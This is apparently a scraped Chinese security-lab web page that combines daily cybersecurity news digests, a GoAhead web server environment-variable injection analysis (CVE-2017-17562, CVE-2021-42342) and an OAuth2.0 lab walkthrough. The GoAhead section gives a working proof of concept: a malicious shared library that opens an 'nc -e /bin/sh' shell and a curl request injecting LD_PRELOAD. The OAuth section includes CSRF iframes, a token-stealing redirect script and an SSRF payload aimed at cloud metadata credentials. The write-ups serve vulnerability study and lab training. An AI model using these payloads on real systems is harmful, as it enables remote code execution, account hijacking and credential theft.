网络安全日报 2022年08月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌为开源项目启动漏洞赏金计划 https://www.securityweek.com/google-launches-bug-bounty-program-open-source-projects 2、全球最大图书发行商 Baker & Taylor 遭勒索软件攻击 https://securityaffairs.co/wordpress/135026/cyber-crime/baker-taylor-ransomware.html 3、CSTIS发布关于畅捷通T+漏洞造成勒索攻击隐患的风险提示 https://mp.weixin.qq.com/s/Y4sd7vwOGhQe0S3XM5wgWw 4、Borat RAT恶意软件同时具备远控、勒索及窃密功能 https://cyware.com/news/borat-rat-this-unique-triple-threat-is-one-nasty-package-df572aa4 5、国家卫健委等三部门发布《医疗卫生机构网络安全管理办法》 https://www.freebuf.com/news/343278.html 6、软件公司老板黑进40多家金融机构 盗指令炒股赚百万获刑 https://www.cnbeta.com/articles/tech/1309769.htm 7、因涉嫌未经同意收集人脸信息,Snap 以 2.4 亿元达成和解 https://www.secrss.com/articles/46298 8、累计被安装了 140 万次的5个 Chrome 扩展程序窃取用户数据 https://www.bleepingcomputer.com/news/security/chrome-extensions-with-14-million-installs-steal-browsing-data/ 9、美国外卖巨头DoorDash发生数据泄露事件 https://www.ithome.com/0/637/455.htm 10、北约对黑客在暗网中出售欧洲导弹集团涉密文件的情况进行调查 https://www.secrss.com/articles/46285
网络安全日报 2022年08月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员在数以万计的 WordPress 网站上发现了恶意插件 https://www.securityweek.com/malicious-plugins-found-25000-wordpress-websites-study 2、JFrog 研究员披露了影响 OPC UA 协议的多个漏洞的详细信息 https://www.securityweek.com/details-disclosed-opc-ua-vulnerabilities-exploited-ics-hacking-competition 3、美国 FTC 起诉数据分析公司 Kochava 出售敏感和地理位置数据 https://securityaffairs.co/wordpress/135004/security/ftc-sued-data-broker-kochava.html 4、自 2019 年以来,Nitrokod 挖矿软件感染了 11 个国家/地区的系统 https://securityaffairs.co/wordpress/134985/cyber-crime/nitrokod-crypto-miner-campaign.html 5、Akasa Air 遭受影响乘客个人信息的数据泄露 https://www.indiatoday.in/india/story/akasa-airlines-data-breach-passengers-personal-information-leaked-1993723-2022-08-29 6、LockBit勒索组织称未来将采用三重勒索策略 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/ 7、研究发现 Google 追踪 39 种个人数据,苹果追踪 12 种 https://www.cnbeta.com/articles/tech/1308685.htm 8、工信部通报 47 款侵害用户权益 App 和 SDK,包括神州专车、虎扑等 https://www.ithome.com/0/637/267.htm 9、Foxmail 邮件客户端曝逻辑漏洞:一次点击即可命令执行 https://www.secrss.com/articles/46233 10、疑似借助用友畅捷通T+的勒索攻击爆发 https://www.huorong.cn/info/1661778944884.html
网络安全日报 2022年08月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Atlassian 针对高危 Bitbucket 漏洞发布紧急补丁 https://www.securityweek.com/atlassian-ships-urgent-patch-critical-bitbucket-vulnerability 2、黑山国家基础设施遭到大规模“前所未有的”网络攻击 https://securityaffairs.co/wordpress/134900/cyber-warfare-2/montenegro-cyber-attack.html 3、攻击者滥用 Genshin Impact Anti-Cheat 驱动程序来禁用防病毒软件 https://securityaffairs.co/wordpress/134884/malware/anti-cheat-driver-disable-antivirus.html 4、Mercury APT 利用 SysAid 应用中的 Log4Shell 漏洞进行初始访问 https://securityaffairs.co/wordpress/134876/apt/mercury-exploit-log4shell-flaw.html 5、攻击Twilio、Cloudflare的黑客还攻击了其他 130 多个组织 https://www.securityweek.com/twilio-cloudflare-attacked-part-campaign-hit-over-130-organizations 6、Oracle SBC的漏洞可导致未授权访问或拒绝服务 https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/oracle-sbc-multiple-security-vulnerabilities-leading-to-unauthorized-access-and-denial-of-service/ 7、Binance高管声称黑客使用他的"Deepfake"视频来欺骗用户 https://www.euronews.com/next/2022/08/24/binance-executive-says-scammers-created-deepfake-hologram-of-him-to-trick-crypto-developer 8、Cyble称当下航空业是较易被作为攻击目标的行业 https://blog.cyble.com/2022/08/26/aviation-travel-industry-recovering-from-covid-turbulence-grounded-by-cyberattacks/ 9、TeamTNT已对云实例及容器环境实施了超过两年的攻击 https://www.infosecurity-magazine.com/news/teamtnt-targeted-cloud-instances/ 10、一个名为 Agenda 的新勒索软件针对亚洲和非洲的组织 https://securityaffairs.co/wordpress/134911/cyber-crime/agenda-ransomware.html
goahead环境变量注入漏洞分析
一、前言 1.1 下载地址 二、CVE-2017-17562 2.1 漏洞分析 cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。 2.2 代码分析 漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示: 代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。 PUBLIC char *websGetCgiCommName() {   return websTempFile(NULL, "cgi"); } PUBLIC char *websTempFile(char *dir, char *prefix) {   static int count = 0;   char   sep;   sep = '/';   if (!dir || *dir == '\0') { #if WINCE       dir = "/Temp";       sep = '\\'; #elif ME_WIN_LIKE       dir = getenv("TEMP");       sep = '\\'; #elif VXWORKS       dir = "."; #else       dir = "/tmp"; #endif   }   if (!prefix) {       prefix = "tmp";   }   return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++); } 进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。 至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。 2.3 漏洞复现 下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4) git clone https://github.com/embedthis/goahead.git cd goahead make cd test gcc ./cgitest.c -o cgi-bin/cgitest sudo gdb ../build/linux-x64-default/bin/goahead 编写恶意动态链接库,代码以及编译命令如下所示: #include <stdio.h> #include <stdlib.h> static void main(void) __attribute__((constructor)); static void main(void) { system("nc -lp 8888 -e /bin/sh"); } // gcc --shared -fPIC poc.c -o poc.so 构造HTTP请求发送 curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。 2.4 补丁分析 首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。 其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。 三、cve-2021-42342 3.1 漏洞分析 cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示: 进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。 上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。 后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。 3.2 代码分析 为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下https://www.cnblogs.com/zongzi10010/p/12109380.html师傅的文章。 websOpen函数会根据配置启动相应的代码模块 其中关于cgi请求的回调函数通过websDefineHandler函数定义。 websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。 在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。 其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。 此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的 调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。 3.2.1 WEBS_BEGIN WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。 parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中  parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。 函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。 调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。 3.2.2 WEBS_CONTENT 返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。 进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。 initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。 processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。 processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp 当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中 3.2.3 WEBS_READY 程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。 在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
网络安全日报 2022年08月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、密码管理软件公司 LastPass 遭遇数据泄露,导致源代码被盗 https://www.securityweek.com/lastpass-says-source-code-stolen-data-breach 2、Intellexa公司以 800 万美元价格提供 iOS&Android 设备漏洞利用服务 https://www.securityweek.com/leaked-docs-show-spyware-firm-offering-ios-android-hacking-services-8-million 3、谷歌宣布开源"Paranoid"加密测试库 https://www.securityweek.com/google-open-sources-paranoid-crypto-testing-library 4、Mozilla 修补了 Firefox、Thunderbird 中的高危漏洞 https://www.securityweek.com/mozilla-patches-high-severity-vulnerabilities-firefox-thunderbird-0 5、Nobelium APT 使用新的入侵后恶意软件 MagicWeb https://securityaffairs.co/wordpress/134838/apt/nobelium-magicweb-tool.html 6、网络攻击者正在使用 Tox P2P 消息服务作为 C2 服务器 https://securityaffairs.co/wordpress/134806/malware/tox-p2p-c2-server.html 7、越来越多的攻击者利用 Sliver 工具包作为 Cobalt Strike 的替代品 https://www.bleepingcomputer.com/news/security/more-hackers-adopt-sliver-toolkit-as-a-cobalt-strike-alternative/ 8、研究人员发现了针对韩国政客和外交官的APT组织- Kimusky https://thehackernews.com/2022/08/researchers-uncover-kimusky-infra.html 9、Quantum勒索软件攻击了多米尼加共和国政府机构 https://www.bleepingcomputer.com/news/security/quantum-ransomware-attack-disrupts-govt-agency-in-dominican-republic/ 10、RansomEXX声称对庞巴迪娱乐公司进行勒索攻击 https://www.bleepingcomputer.com/news/security/ransomexx-claims-ransomware-attack-on-sea-doo-ski-doo-maker/
网络安全日报 2022年08月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、流媒体平台 Plex 确认数据库泄露、数据被盗 https://www.securityweek.com/plex-confirms-database-breach-data-theft 2、加利福尼亚州北区针对甲骨文的数据收集做法提起集体诉讼 https://www.securityweek.com/class-action-lawsuit-filed-against-oracle-over-data-collection-practices 3、IBM 修补了 IBM MQ 消息中间件中的严重漏洞 https://www.securityweek.com/ibm-patches-severe-vulnerabilities-mq-messaging-middleware 4、研究人员警告针对 Google G-Suite 企业用户的 AiTM 攻击 https://thehackernews.com/2022/08/researchers-warn-of-aitm-attack.html 5、盗版 3DMark 基准测试工具传播信息窃取恶意软件 https://www.bleepingcomputer.com/news/security/pirated-3dmark-benchmark-tool-delivering-info-stealer-malware/ 6、Cyber发现针对金融的剪贴板劫持器IBAN Clipper https://blog.cyble.com/2022/08/22/dissecting-iban-clipper/ 7、近一年利用SaaS平台的网络钓鱼增加了11倍 https://www.bleepingcomputer.com/news/security/phishing-attacks-abusing-saas-platforms-see-a-massive-1-100-percent-growth/ 8、恶意 PyPI 包对 Counter Strike 服务器发起 DDoS 攻击 https://cyware.com/news/malicious-pypi-packages-launch-ddos-attacks-against-counter-strike-servers-b4d84c69 9、推特前安全主管控诉推特存在 "令人震惊"的安全漏洞 https://www.freebuf.com/news/342774.html 10、Varonis披露新出现的Solidbit勒索软件 https://www.varonis.com/blog/anatomy-of-a-solidbit-ransomware-attack
网络安全日报 2022年08月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现可以利用以太网口LED灯进行数据窃取的方法 https://www.securityweek.com/ethernet-leds-can-be-used-exfiltrate-data-air-gapped-systems 2、VMware 周二发布了补丁修复了 VMware Tools 提权漏洞 https://www.securityweek.com/privilege-escalation-flaw-haunts-vmware-tools 3、GitLab 修补了高危远程代码执行漏洞 https://www.securityweek.com/gitlab-patches-critical-remote-code-execution-vulnerability 4、希腊最大天然气供应商 Desfa遭Ragnar Locker勒索攻击和数据窃取 https://www.securityweek.com/ransomware-gang-leaks-data-allegedly-stolen-greek-gas-supplier 5、 研究人员发现超过8万台海康威视摄像头易受高危命令注入漏洞攻击 https://securityaffairs.co/wordpress/134756/security/hikvision-cameras-vulnerability.html 6、研究人员称Java 库存在许多反序列化安全漏洞 https://www.theregister.com/2022/08/22/java_library_flaws/ 7、错误的Meta Pixel配置暴露医疗公司Novant 130万用户数据 https://www.bleepingcomputer.com/news/security/misconfigured-meta-pixel-exposed-healthcare-data-of-13m-patients/ 8、研究发现 RTLS 系统容易受到中间人攻击和位置篡改 https://thehackernews.com/2022/08/rtls-systems-found-vulnerable-to-mitm.html 9、意大利纺织公司Sferra公布数据泄露事件 https://www.securityweek.com/textile-company-sferra-discloses-data-breach 10、某些廉价安卓设备中存在针对WhatsApp的系统后门 https://securityaffairs.co/wordpress/134735/malware/counterfeit-versions-mobile-devices-target-whatsapp.html
网络安全日报 2022年08月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、纺织公司 Sferra 披露数据泄露 https://www.securityweek.com/textile-company-sferra-discloses-data-breach 2、微软发布了关键 ChromeOS 漏洞的技术细节 https://www.securityweek.com/microsoft-shares-details-critical-chromeos-vulnerability 3、以色列飞马间谍软件公司NSO Group首席执行官下台 https://www.securityweek.com/ceo-israeli-pegasus-spyware-firm-step-down 4、在 Entrust 被Lockbit攻击后,Lockbit 泄漏站点遭到神秘 DDoS 攻击 https://securityaffairs.co/wordpress/134707/cyber-crime/lockbit-hacked-entrust.html 5、研究人员披露了 Linux 内核中一个存在8年之久的漏洞(DirtyCred)详情 https://www.blackhat.com/us-22/briefings/schedule/#cautious-a-new-exploitation-method-no-pipe-but-as-nasty-as-dirty-pipe-27169 6、Donot Team 网络间谍组织更新其 Windows 恶意软件框架 https://securityaffairs.co/wordpress/134674/apt/donot-team-improves-jaca-framework.html 7、Escanor恶意软件通过Office文档传播 https://www.helpnetsecurity.com/2022/08/22/escanor-malware-delivered-in-weaponized-microsoft-office-documents/ 8、密码长度超过64字节的加密ZIP文件可能有两个正确的密码 https://www.bleepingcomputer.com/news/security/an-encrypted-zip-file-can-have-two-correct-passwords-heres-why/ 9、研究发现使用应用内浏览器访问第三方网站时存在植入跟踪代码的情况 https://www.solidot.org/story?sid=72526 10、美军探索网络安全新范式,由合规清单转向自动化红队 https://www.secrss.com/articles/46059
网络安全日报 2022年08月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、TA558 网络犯罪集团针对酒店和旅游组织 https://securityaffairs.co/wordpress/134622/cyber-crime/ta558-targets-hospitality-travel.html 2、Cozy Bear 使用规避技术攻击北约国家 Microsoft 365 用户 https://securityaffairs.co/wordpress/134609/apt/cozy-bear-targets-microsoft-365-users.html 3、Amazon Ring 中的一个漏洞可能会暴露用户的相机记录 https://securityaffairs.co/wordpress/134588/hacking/amazon-ring-vulnerability-camera-recordings.html 4、DEF CON上白帽黑客控制了一颗退役卫星播放了会议演讲和黑客电影 https://securityaffairs.co/wordpress/134637/hacking/hackers-take-control-decommissioned-satellite.html 5、黑客入侵WordPress显示虚假DDoS防护页面分发恶意软件 https://securityaffairs.co/wordpress/134686/hacking/fake-ddos-protection-pages-wordpress.html 6、Chainalysis报告黑客在 2022 年已经窃取了价值近 20 亿美元加密货币 https://www.cnbc.com/2022/08/19/crypto-hackers-stole-billions-why-its-a-growing-problem.html 7、新的 Grandoreiro 银行恶意软件活动针对西班牙语国家工业制造商 https://thehackernews.com/2022/08/new-grandoreiro-banking-malware.html 8、微软发布Sysmon 14可监控可执行文件的创建 https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-can-now-block-malicious-exes-from-being-created/ 9、音乐Rhythm Nation会导致某些硬盘驱动器发生故障和崩溃 https://www.bleepingcomputer.com/news/security/janet-jacksons-music-video-is-now-a-vulnerability-for-crashing-hard-disks/ 10、黑客利用零日漏洞从General Bytes 比特币ATM服务器窃取加密货币 https://www.bleepingcomputer.com/news/security/hackers-steal-crypto-from-bitcoin-atms-by-exploiting-zero-day-bug/
OAuth2.0协议安全学习
有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊? OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用。 OAuth2.0简介 OAuth2.0是什么 OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议 OAuth2.0应用情景 OAuth2.0常被应用于以下情景 1、应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密 2、应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理 3、应用于开发平台场景中,对系统敏感资源进行安全认证和保护 密码与OAuth2.0 1、密码与令牌(token)的作用是一样的,但令牌有其特点  用户无法自己修改  且一般来说token是短期的  可以被所有者撤销  token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限 2、基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在 OAuth2.0运行流程和授权模式 首先了解一下大概结构 Client: 第三方应用 Resource Owner: 资源所有者 Authorization Server: 授权服务器 Resource Server: 拥有资源信息的服务器 以下即为运行过程 OAuth的授权模式有五种  授权码模式|authorization code  简化模式|implicit  密码模式|resource owner password credentials  客户端模式|client credentials 在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据 详情可见 https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解 OAuth2.0安全问题分析 为什么出现问题 OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会 怎么判断是否使用OAuth2.0认证方法 主要可以通过两点判断 1、对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数 2、是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证 授权服务器认证绕过 当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证 1、靶场 Lab: Authentication bypass via OAuth implicit flow 2、解法 进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证 可以尝试修改email和username Forward发送,发现token并没有进行内容绑定,成功login CSRF关联账号 造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数 这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF 1、靶场 Lab: Forced OAuth profile linking 2、解法 我们先正常登录 点击绑定social profile,对social media认证页面进行抓包,得到令牌code 我们可以先直接带上访问一下试试 这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号 我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证 然后进入exploit修改body <iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe> 发送给受害者,而后重新登录social media 成功登录admin 删掉carlos用户即可 CSRF获取敏感信息 我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code 与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定 1、靶场 Lab: OAuth account hijacking via redirect_uri 2、解法 我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面 我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器 访问抓包 callback 可以看到host变成了我们的攻击服务器,这就是问题所在 我们进入exploit修改body <iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe> 修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下 确认可以后发送给受害者,然后查看log,可以看到就能窃取到code 然后根据包的发送流程,将code进行修改callback回去 https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6 成功登录admin,删除用户就行 通过开放重定向获取敏感信息 与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权 1、靶场 Lab: Stealing OAuth access tokens via an open redirect 2、解法 抓包然后查找apikey,发现在/me路径,放入repeater 测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞 进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试 抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取 我们修改url重定向回exploit https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profi 进行访问,成功返回hello,world 这样我们就可以编写script,让admin登录从而泄露token <script>   if (!document.location.hash) {       window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=3997   } else {       window.location = '/?'+document.location.hash.substr(1)   } </script> 发送给受害者后进入access log,得到access_token 将access_token替换到/me路径的Authorization: Bearer标头中的token 发送即可得到apikey,提交即可 危险传递、使用某些特定数据 当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露 1、靶场 Lab: SSRF via OpenID dynamic client registration 2、解法 首先我们需要了解的是在OAuth服务开发中,存在这样一类文件 /.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json) 他们存储着一些相关的配置 我们尝试访问 https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration 可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组 传参后我们可以看到服务器给我们返回了client_id和一系列数据 我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri 我们可以进行尝试,启动Burp Collaborator client POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json {   "redirect_uris" : [       "https://example.com"   ],   "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN" } 发现可以成功携带数据 当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据 /client/CLIENT-ID/logo 那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下 POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json {   "redirect_uris" : [       "https://example.com"   ],   "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" } 得到key 防御总结 使用白名单检验redirect_url参数 检验state参数是否存在 ccess token和client_id是否匹配,同时验证access token的访问范围 修复client端的开放重定向漏洞,防止auth code的泄露
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 